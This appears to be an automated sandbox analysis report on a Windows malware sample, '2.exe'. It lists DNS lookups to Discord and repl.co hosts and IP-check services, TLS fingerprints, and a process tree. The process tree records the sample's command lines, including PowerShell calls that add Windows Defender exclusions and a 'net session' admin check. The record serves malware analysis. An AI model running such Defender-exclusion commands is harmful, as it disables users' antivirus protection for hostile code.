Feb 12, 2021 19:40:49.810750008 CET	8.8.8.8	192.168.2.5	0x6743	No error (0)	canary.discord.com		162.159.135.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:49.810750008 CET	8.8.8.8	192.168.2.5	0x6743	No error (0)	canary.discord.com		162.159.128.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:49.810750008 CET	8.8.8.8	192.168.2.5	0x6743	No error (0)	canary.discord.com		162.159.136.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:49.810750008 CET	8.8.8.8	192.168.2.5	0x6743	No error (0)	canary.discord.com		162.159.138.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:55.472400904 CET	8.8.8.8	192.168.2.5	0xf73	No error (0)	canary.discord.com		162.159.135.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:55.472400904 CET	8.8.8.8	192.168.2.5	0xf73	No error (0)	canary.discord.com		162.159.137.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:55.472400904 CET	8.8.8.8	192.168.2.5	0xf73	No error (0)	canary.discord.com		162.159.128.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:55.472400904 CET	8.8.8.8	192.168.2.5	0xf73	No error (0)	canary.discord.com		162.159.136.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:55.472400904 CET	8.8.8.8	192.168.2.5	0xf73	No error (0)	canary.discord.com		162.159.138.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:59.791347980 CET	8.8.8.8	192.168.2.5	0x6cba	No error (0)	canary.discord.com		162.159.137.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:59.791347980 CET	8.8.8.8	192.168.2.5	0x6cba	No error (0)	canary.discord.com		162.159.135.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:59.791347980 CET	8.8.8.8	192.168.2.5	0x6cba	No error (0)	canary.discord.com		162.159.128.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:59.791347980 CET	8.8.8.8	192.168.2.5	0x6cba	No error (0)	canary.discord.com		162.159.136.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:59.791347980 CET	8.8.8.8	192.168.2.5	0x6cba	No error (0)	canary.discord.com		162.159.138.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:03.846425056 CET	8.8.8.8	192.168.2.5	0x7a52	No error (0)	canary.discord.com		162.159.135.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:03.846425056 CET	8.8.8.8	192.168.2.5	0x7a52	No error (0)	canary.discord.com		162.159.137.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:03.846425056 CET	8.8.8.8	192.168.2.5	0x7a52	No error (0)	canary.discord.com		162.159.128.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:03.846425056 CET	8.8.8.8	192.168.2.5	0x7a52	No error (0)	canary.discord.com		162.159.136.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:03.846425056 CET	8.8.8.8	192.168.2.5	0x7a52	No error (0)	canary.discord.com		162.159.138.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:05.891813040 CET	8.8.8.8	192.168.2.5	0xa4e5	No error (0)	jspaste.tnfangel.repl.co		35.201.120.147	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:06.290657043 CET	8.8.8.8	192.168.2.5	0x4451	No error (0)	r3.o.lencr.org	o.lencr.edgesuite.net		CNAME (Canonical name)	IN (0x0001)
Feb 12, 2021 19:41:06.782314062 CET	8.8.8.8	192.168.2.5	0x6a20	No error (0)	set-clima.mrgaton.repl.co		35.201.120.147	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:07.754977942 CET	8.8.8.8	192.168.2.5	0x36c6	No error (0)	canary.discord.com		162.159.135.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:07.754977942 CET	8.8.8.8	192.168.2.5	0x36c6	No error (0)	canary.discord.com		162.159.137.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:07.754977942 CET	8.8.8.8	192.168.2.5	0x36c6	No error (0)	canary.discord.com		162.159.128.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:07.754977942 CET	8.8.8.8	192.168.2.5	0x36c6	No error (0)	canary.discord.com		162.159.136.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:07.754977942 CET	8.8.8.8	192.168.2.5	0x36c6	No error (0)	canary.discord.com		162.159.138.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:12.161081076 CET	8.8.8.8	192.168.2.5	0x65d0	No error (0)	canary.discord.com		162.159.135.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:12.161081076 CET	8.8.8.8	192.168.2.5	0x65d0	No error (0)	canary.discord.com		162.159.137.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:12.161081076 CET	8.8.8.8	192.168.2.5	0x65d0	No error (0)	canary.discord.com		162.159.128.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:12.161081076 CET	8.8.8.8	192.168.2.5	0x65d0	No error (0)	canary.discord.com		162.159.136.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:12.161081076 CET	8.8.8.8	192.168.2.5	0x65d0	No error (0)	canary.discord.com		162.159.138.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:12.173568010 CET	8.8.8.8	192.168.2.5	0xb246	No error (0)	wttr.in		5.9.243.187	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:12.404568911 CET	8.8.8.8	192.168.2.5	0xb0e	No error (0)	r3.o.lencr.org	o.lencr.edgesuite.net		CNAME (Canonical name)	IN (0x0001)
Feb 12, 2021 19:41:16.822163105 CET	8.8.8.8	192.168.2.5	0x31ad	No error (0)	wttr.in		5.9.243.187	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:17.854777098 CET	8.8.8.8	192.168.2.5	0x335f	No error (0)	canary.discord.com		162.159.135.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:17.854777098 CET	8.8.8.8	192.168.2.5	0x335f	No error (0)	canary.discord.com		162.159.137.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:17.854777098 CET	8.8.8.8	192.168.2.5	0x335f	No error (0)	canary.discord.com		162.159.128.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:17.854777098 CET	8.8.8.8	192.168.2.5	0x335f	No error (0)	canary.discord.com		162.159.136.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:17.854777098 CET	8.8.8.8	192.168.2.5	0x335f	No error (0)	canary.discord.com		162.159.138.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:18.861107111 CET	8.8.8.8	192.168.2.5	0x77d0	No error (0)	wttr.in		5.9.243.187	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:19.627435923 CET	8.8.8.8	192.168.2.5	0x6068	No error (0)	wttr.in		5.9.243.187	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:21.775773048 CET	8.8.8.8	192.168.2.5	0xa2f4	No error (0)	canary.discord.com		162.159.137.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:21.775773048 CET	8.8.8.8	192.168.2.5	0xa2f4	No error (0)	canary.discord.com		162.159.135.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:21.775773048 CET	8.8.8.8	192.168.2.5	0xa2f4	No error (0)	canary.discord.com		162.159.128.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:21.775773048 CET	8.8.8.8	192.168.2.5	0xa2f4	No error (0)	canary.discord.com		162.159.136.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:21.775773048 CET	8.8.8.8	192.168.2.5	0xa2f4	No error (0)	canary.discord.com		162.159.138.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:22.778975964 CET	8.8.8.8	192.168.2.5	0xc29a	No error (0)	wttr.in		5.9.243.187	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:25.790643930 CET	8.8.8.8	192.168.2.5	0x5956	No error (0)	canary.discord.com		162.159.135.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:25.790643930 CET	8.8.8.8	192.168.2.5	0x5956	No error (0)	canary.discord.com		162.159.137.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:25.790643930 CET	8.8.8.8	192.168.2.5	0x5956	No error (0)	canary.discord.com		162.159.128.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:25.790643930 CET	8.8.8.8	192.168.2.5	0x5956	No error (0)	canary.discord.com		162.159.136.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:25.790643930 CET	8.8.8.8	192.168.2.5	0x5956	No error (0)	canary.discord.com		162.159.138.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:25.821655989 CET	8.8.8.8	192.168.2.5	0xd322	No error (0)	myexternalip.com		216.239.32.21	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:25.821655989 CET	8.8.8.8	192.168.2.5	0xd322	No error (0)	myexternalip.com		216.239.34.21	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:25.821655989 CET	8.8.8.8	192.168.2.5	0xd322	No error (0)	myexternalip.com		216.239.38.21	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:25.821655989 CET	8.8.8.8	192.168.2.5	0xd322	No error (0)	myexternalip.com		216.239.36.21	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:26.039793015 CET	8.8.8.8	192.168.2.5	0x5841	No error (0)	ocsp.pki.goog	pki-goog.l.google.com		CNAME (Canonical name)	IN (0x0001)
Feb 12, 2021 19:41:26.564394951 CET	8.8.8.8	192.168.2.5	0xa9b8	No error (0)	proxycheck.io		172.67.75.219	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:26.564394951 CET	8.8.8.8	192.168.2.5	0xa9b8	No error (0)	proxycheck.io		104.26.9.187	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:26.564394951 CET	8.8.8.8	192.168.2.5	0xa9b8	No error (0)	proxycheck.io		104.26.8.187	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:29.940694094 CET	8.8.8.8	192.168.2.5	0xdf54	No error (0)	canary.discord.com		162.159.137.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:29.940694094 CET	8.8.8.8	192.168.2.5	0xdf54	No error (0)	canary.discord.com		162.159.135.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:29.940694094 CET	8.8.8.8	192.168.2.5	0xdf54	No error (0)	canary.discord.com		162.159.128.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:29.940694094 CET	8.8.8.8	192.168.2.5	0xdf54	No error (0)	canary.discord.com		162.159.136.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:29.940694094 CET	8.8.8.8	192.168.2.5	0xdf54	No error (0)	canary.discord.com		162.159.138.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:34.853214979 CET	8.8.8.8	192.168.2.5	0x1fd	No error (0)	canary.discord.com		162.159.137.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:34.853214979 CET	8.8.8.8	192.168.2.5	0x1fd	No error (0)	canary.discord.com		162.159.135.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:34.853214979 CET	8.8.8.8	192.168.2.5	0x1fd	No error (0)	canary.discord.com		162.159.128.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:34.853214979 CET	8.8.8.8	192.168.2.5	0x1fd	No error (0)	canary.discord.com		162.159.136.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:34.853214979 CET	8.8.8.8	192.168.2.5	0x1fd	No error (0)	canary.discord.com		162.159.138.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:38.772607088 CET	8.8.8.8	192.168.2.5	0x603d	No error (0)	canary.discord.com		162.159.137.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:38.772607088 CET	8.8.8.8	192.168.2.5	0x603d	No error (0)	canary.discord.com		162.159.135.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:38.772607088 CET	8.8.8.8	192.168.2.5	0x603d	No error (0)	canary.discord.com		162.159.128.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:38.772607088 CET	8.8.8.8	192.168.2.5	0x603d	No error (0)	canary.discord.com		162.159.136.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:38.772607088 CET	8.8.8.8	192.168.2.5	0x603d	No error (0)	canary.discord.com		162.159.138.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:42.947263002 CET	8.8.8.8	192.168.2.5	0x278f	No error (0)	canary.discord.com		162.159.137.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:42.947263002 CET	8.8.8.8	192.168.2.5	0x278f	No error (0)	canary.discord.com		162.159.135.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:42.947263002 CET	8.8.8.8	192.168.2.5	0x278f	No error (0)	canary.discord.com		162.159.128.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:42.947263002 CET	8.8.8.8	192.168.2.5	0x278f	No error (0)	canary.discord.com		162.159.136.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:42.947263002 CET	8.8.8.8	192.168.2.5	0x278f	No error (0)	canary.discord.com		162.159.138.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:47.778558016 CET	8.8.8.8	192.168.2.5	0x49da	No error (0)	canary.discord.com		162.159.137.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:47.778558016 CET	8.8.8.8	192.168.2.5	0x49da	No error (0)	canary.discord.com		162.159.135.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:47.778558016 CET	8.8.8.8	192.168.2.5	0x49da	No error (0)	canary.discord.com		162.159.128.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:47.778558016 CET	8.8.8.8	192.168.2.5	0x49da	No error (0)	canary.discord.com		162.159.136.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:47.778558016 CET	8.8.8.8	192.168.2.5	0x49da	No error (0)	canary.discord.com		162.159.138.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:52.858756065 CET	8.8.8.8	192.168.2.5	0x7fe	No error (0)	canary.discord.com		162.159.137.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:52.858756065 CET	8.8.8.8	192.168.2.5	0x7fe	No error (0)	canary.discord.com		162.159.135.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:52.858756065 CET	8.8.8.8	192.168.2.5	0x7fe	No error (0)	canary.discord.com		162.159.128.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:52.858756065 CET	8.8.8.8	192.168.2.5	0x7fe	No error (0)	canary.discord.com		162.159.136.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:52.858756065 CET	8.8.8.8	192.168.2.5	0x7fe	No error (0)	canary.discord.com		162.159.138.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:55.862991095 CET	8.8.8.8	192.168.2.5	0x5345	No error (0)	set-clima.mrgaton.repl.co		35.201.120.147	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:56.588185072 CET	8.8.8.8	192.168.2.5	0xaa3d	No error (0)	canary.discord.com		162.159.137.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:56.588185072 CET	8.8.8.8	192.168.2.5	0xaa3d	No error (0)	canary.discord.com		162.159.135.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:56.588185072 CET	8.8.8.8	192.168.2.5	0xaa3d	No error (0)	canary.discord.com		162.159.128.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:56.588185072 CET	8.8.8.8	192.168.2.5	0xaa3d	No error (0)	canary.discord.com		162.159.136.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:56.588185072 CET	8.8.8.8	192.168.2.5	0xaa3d	No error (0)	canary.discord.com		162.159.138.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:56.790939093 CET	8.8.8.8	192.168.2.5	0x11e5	No error (0)	canary.discord.com		162.159.137.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:56.790939093 CET	8.8.8.8	192.168.2.5	0x11e5	No error (0)	canary.discord.com		162.159.135.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:56.790939093 CET	8.8.8.8	192.168.2.5	0x11e5	No error (0)	canary.discord.com		162.159.128.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:56.790939093 CET	8.8.8.8	192.168.2.5	0x11e5	No error (0)	canary.discord.com		162.159.136.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:56.790939093 CET	8.8.8.8	192.168.2.5	0x11e5	No error (0)	canary.discord.com		162.159.138.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:59.862313986 CET	8.8.8.8	192.168.2.5	0x1b4b	No error (0)	set-clima.mrgaton.repl.co		35.201.120.147	A (IP address)	IN (0x0001)
Feb 12, 2021 19:42:00.834916115 CET	8.8.8.8	192.168.2.5	0x8d5d	No error (0)	canary.discord.com		162.159.135.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:42:00.834916115 CET	8.8.8.8	192.168.2.5	0x8d5d	No error (0)	canary.discord.com		162.159.137.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:42:00.834916115 CET	8.8.8.8	192.168.2.5	0x8d5d	No error (0)	canary.discord.com		162.159.128.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:42:00.834916115 CET	8.8.8.8	192.168.2.5	0x8d5d	No error (0)	canary.discord.com		162.159.136.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:42:00.834916115 CET	8.8.8.8	192.168.2.5	0x8d5d	No error (0)	canary.discord.com		162.159.138.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:42:01.625483990 CET	8.8.8.8	192.168.2.5	0x3f9a	No error (0)	discord.com		162.159.136.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:42:01.625483990 CET	8.8.8.8	192.168.2.5	0x3f9a	No error (0)	discord.com		162.159.137.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:42:01.625483990 CET	8.8.8.8	192.168.2.5	0x3f9a	No error (0)	discord.com		162.159.128.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:42:01.625483990 CET	8.8.8.8	192.168.2.5	0x3f9a	No error (0)	discord.com		162.159.135.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:42:01.625483990 CET	8.8.8.8	192.168.2.5	0x3f9a	No error (0)	discord.com		162.159.138.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:42:04.767792940 CET	8.8.8.8	192.168.2.5	0x936d	No error (0)	canary.discord.com		162.159.137.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:42:04.767792940 CET	8.8.8.8	192.168.2.5	0x936d	No error (0)	canary.discord.com		162.159.135.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:42:04.767792940 CET	8.8.8.8	192.168.2.5	0x936d	No error (0)	canary.discord.com		162.159.128.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:42:04.767792940 CET	8.8.8.8	192.168.2.5	0x936d	No error (0)	canary.discord.com		162.159.136.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:42:04.767792940 CET	8.8.8.8	192.168.2.5	0x936d	No error (0)	canary.discord.com		162.159.138.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:42:10.263884068 CET	8.8.8.8	192.168.2.5	0x4b39	No error (0)	canary.discord.com		162.159.135.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:42:10.263884068 CET	8.8.8.8	192.168.2.5	0x4b39	No error (0)	canary.discord.com		162.159.137.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:42:10.263884068 CET	8.8.8.8	192.168.2.5	0x4b39	No error (0)	canary.discord.com		162.159.128.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:42:10.263884068 CET	8.8.8.8	192.168.2.5	0x4b39	No error (0)	canary.discord.com		162.159.136.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:42:10.263884068 CET	8.8.8.8	192.168.2.5	0x4b39	No error (0)	canary.discord.com		162.159.138.232	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Feb 12, 2021 19:39:13.060504913 CET	162.159.134.233	443	192.168.2.5	49709	CN=sni.cloudflaressl.com, O="Cloudflare, Inc.", L=San Francisco, ST=CA, C=US CN=Cloudflare Inc RSA CA-2, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc RSA CA-2, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Tue Jan 19 01:00:00 CET 2021 Mon Jan 27 13:46:39 CET 2020	Wed Jan 19 00:59:59 CET 2022 Wed Jan 01 00:59:59 CET 2025	769,49162-49161-49172-49171-53-47-10,0-10-11-35-23-65281,29-23-24,0	54328bd36c14bd82ddaa0c04b25ed9ad
Feb 12, 2021 19:39:13.060504913 CET	162.159.134.233	443	192.168.2.5	49709	CN=Cloudflare Inc RSA CA-2, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:46:39 CET 2020	Wed Jan 01 00:59:59 CET 2025		54328bd36c14bd82ddaa0c04b25ed9ad

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: 2.exe PID: 4632 Parent PID: 5716

General

Start time:	19:39:08
Start date:	12/02/2021
Path:	C:\Users\user\Desktop\2.exe
Wow64 process (32bit):	false
Commandline:	'C:\Users\user\Desktop\2.exe'
Imagebase:	0xac0000
File size:	121856 bytes
MD5 hash:	3F6FCDAA059D9BA461578374C74E5696
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 4596 Parent PID: 4632

General

Start time:	19:39:13
Start date:	12/02/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ''C:\GatonFiles\Scripts\Exeptcion.bat''
Imagebase:	0x7ff7eef80000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 4012 Parent PID: 4596

General

Start time:	19:39:13
Start date:	12/02/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: net.exe PID: 3540 Parent PID: 4596

General

Start time:	19:39:14
Start date:	12/02/2021
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net session
Imagebase:	0x7ff64e5e0000
File size:	56832 bytes
MD5 hash:	15534275EDAABC58159DD0F8607A71E5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: net1.exe PID: 4688 Parent PID: 3540

General

Start time:	19:39:14
Start date:	12/02/2021
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 session
Imagebase:	0x7ff7cc470000
File size:	175104 bytes
MD5 hash:	AF569DE92AB6C1B9C681AF1E799F9983
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: powershell.exe PID: 4548 Parent PID: 4596

General

Start time:	19:39:15
Start date:	12/02/2021
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell 'Add-MpPreference -ExclusionPath 'C:\GatonFiles''
Imagebase:	0x7ff617cb0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: powershell.exe PID: 6708 Parent PID: 4596

General

Start time:	19:39:32
Start date:	12/02/2021
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell 'Add-MpPreference -ExclusionPath 'C:\temp\Files''
Imagebase:	0x7ff617cb0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: powershell.exe PID: 6464 Parent PID: 4596

General

Start time:	19:39:48
Start date:	12/02/2021
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell 'Add-MpPreference -ExclusionProcess 'C:\Windows\System32\wscript.exe''
Imagebase:	0x7ff617cb0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: timeout.exe PID: 6312 Parent PID: 4596

General

Start time:	19:40:13
Start date:	12/02/2021
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout 1 /nobreak
Imagebase:	0x7ff7ef080000
File size:	30720 bytes
MD5 hash:	EB9A65078396FB5D4E3813BB9198CB18
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: wscript.exe PID: 4624 Parent PID: 4632

General

Start time:	19:40:15
Start date:	12/02/2021
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\WScript.exe' 'C:\GatonFiles\Scripts\DespiertadorRapido.vbs'
Imagebase:	0x7ff748630000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: wscript.exe PID: 7040 Parent PID: 4632

General

Start time:	19:40:18
Start date:	12/02/2021
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\WScript.exe' 'C:\GatonFiles\Scripts\Mortu.vbs'
Imagebase:	0x7ff748630000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 6736 Parent PID: 4624

General

Start time:	19:40:20
Start date:	12/02/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ''C:\GatonFiles\Scripts\DespiertadorRapido.bat' '
Imagebase:	0x7ff7eef80000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 7044 Parent PID: 6736

General

Start time:	19:40:20
Start date:	12/02/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 3668 Parent PID: 6736

General

Start time:	19:40:20
Start date:	12/02/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wmic process where 'name='wscript.exe'' get ParentProcessID
Imagebase:	0x7ff7eef80000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 5092 Parent PID: 7040

General

Start time:	19:40:20
Start date:	12/02/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ''C:\GatonFiles\Scripts\Mortu.bat' '
Imagebase:	0x7ff7eef80000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WMIC.exe PID: 3020 Parent PID: 3668

General

Start time:	19:40:21
Start date:	12/02/2021
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic process where 'name='wscript.exe'' get ParentProcessID
Imagebase:	0x7ff637bc0000
File size:	521728 bytes
MD5 hash:	EC80E603E0090B3AC3C1234C2BA43A0F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 3568 Parent PID: 5092

General

Start time:	19:40:21
Start date:	12/02/2021
Path:	C:\Windows\System32\conhost.exe
